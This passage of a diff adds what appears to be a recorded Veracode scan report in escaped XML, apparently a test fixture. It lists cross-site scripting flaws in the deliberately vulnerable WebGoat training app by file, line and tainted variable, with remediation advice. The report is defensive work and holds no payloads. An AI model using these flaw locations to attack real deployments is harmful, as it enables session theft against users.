+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"20\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.io.PrintWriter.print\" description=\"This call to java.io.PrintWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable message.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparametervalues.
+        The tainted data is directed into an output stream returned by javax.servlet.servletresponse.getoutputstream.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpSplitting.java\"
+        line=\"112\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpSplitting\"
+        functionprototype=\"apache.ecs.Element doHTTPSplitting(session.WebSession)\"
+        functionrelativelocation=\"55\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"221\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"1\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"230\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"241\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"263\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"4\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"172\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"260\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"48\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"80\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"170\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
